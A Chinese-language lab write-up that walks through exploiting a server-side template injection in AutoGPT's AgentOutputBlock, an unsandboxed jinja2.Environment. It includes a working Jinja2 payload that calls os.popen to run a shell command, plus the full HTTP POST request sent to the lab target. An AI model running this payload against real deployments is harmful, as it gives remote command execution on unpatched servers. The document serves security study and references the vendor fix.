
靶标介绍
AutoGPT 是一个开源的AI智能体开发部署平台。 受影响版本中,其 AgentOutputBlock 实现中存在漏洞,代码中直接使用了 jinja2.Environment,在处理用户输入的格式字符串时,默认未启用 Jinja2 的沙箱环境,导致恶意输入可以被传递到模板引擎中,攻击者可通过Jinja2 的 os、subprocess 等模块执行系统命令。
靶标访问

发现主页访问报错,一开始以为环境有问题,但发现存在该接口,那就根据此接口发送POST请求。
漏洞复现
漏洞细节和原理可参考此文章AutoGPT SSTI Vulnerability Leading to Remote Code Execution (RCE) in significant-gravitas/autogpt

可以看到对传入的字符串进行render后返回到output中。根据代码修复补丁记录,首先传入template={{1+1}}测试,如下:

发现提示Input should be a valid dictionary or object to extract fields from,于是转换为json继续发送,根据代码构造POC进行验证是否能执行基本的模板注入,如下:

发现可以注入执行命令了,最后构造模板注入payload读取flag:
{
"template": "{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag').read() }}"
}
发送报文如下:
POST /render HTTP/1.1
Host: 39.106.48.123:17975
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
{
"template": "{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag').read() }}"
}
发送后可以看到成功读取到flag。

参考文章
https://huntr.com/bounties/b74ef75f-61d5-4422-ab15-9550c8b4f185
https://github.com/significant-gravitas/autogpt/commit/6dba31e0215549604bdcc1aed24e3a1714e75ee2